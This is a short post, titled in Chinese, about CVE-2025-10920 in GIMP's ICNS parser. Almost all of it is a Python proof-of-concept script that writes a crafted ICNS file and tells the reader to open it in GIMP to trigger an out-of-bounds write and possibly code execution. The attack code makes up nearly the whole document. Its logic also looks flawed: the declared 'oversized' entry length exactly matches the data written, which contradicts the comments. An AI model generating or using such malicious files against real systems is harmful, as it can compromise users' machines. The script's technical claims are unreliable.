CVE-2025-10920 GIMP ICNS文件解析越界写入远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-10920 PoC - GIMP ICNS File Parsing Out-of-Bounds Write This PoC generates a malicious ICNS file that triggers an out-of-bounds write vulnerability in GIMP's ICNS parser. Author: Security Researcher Reference: ZDI-CAN-27684 """ import struct import sys def create_malicious_icns(): """ Create a malicious ICNS file that exploits CVE-2025-10920 The vulnerability exists in GIMP's ICNS file parser due to insufficient validation of icon data size, leading to OOB write. """ # ICNS Header # Magic number: 'icns' (0x69636e73) # File size will be calculated after building the file # Create a malformed icon entry with oversized data # Icon type: ic08 (128x128 PNG format) = 0x69630800 icon_type = b'ic08' # The vulnerability: oversized icon data size # Normal size would be reasonable, but we set it larger than allocated buffer # This causes the parser to write beyond buffer boundaries oversized_length = 0x00010000 # 65536 bytes - larger than typical buffer # Icon data entry header (type + length) icon_entry = icon_type + struct.pack('>I', oversized_length) # Malicious payload data that will be written out of bounds # Fill with pattern that can help identify the overflow in debugging malicious_data = b'A' * (oversized_length - len(icon_entry)) # Build the ICNS file icns_data = b'icns' # Magic number # Calculate total file size file_size = 8 + len(icon_entry) + len(malicious_data) icns_data += struct.pack('>I', file_size) # Add the malicious icon entry icns_data += icon_entry + malicious_data return icns_data def main(): print("[*] CVE-2025-10920 PoC Generator") print("[*] GIMP ICNS Parsing Out-of-Bounds Write RCE") print("[*] Reference: ZDI-CAN-27684") print() # Generate malicious ICNS file malicious_icns = create_malicious_icns() # Write to file output_file = 'CVE-2025-10920 malicious.icns' with open(output_file, 'wb') as f: f.write(malicious_icns) print(f"[+] Created malicious ICNS file: {output_file}") print(f"[+] File size: {len(malicious_icns)} bytes") print() print("[!] Usage: Open this file with GIMP to trigger the vulnerability") print("[!] This PoC demonstrates the vulnerability and may cause GIMP to crash") print("[!] or potentially execute arbitrary code depending on system configuration") if __name__ == '__main__': main()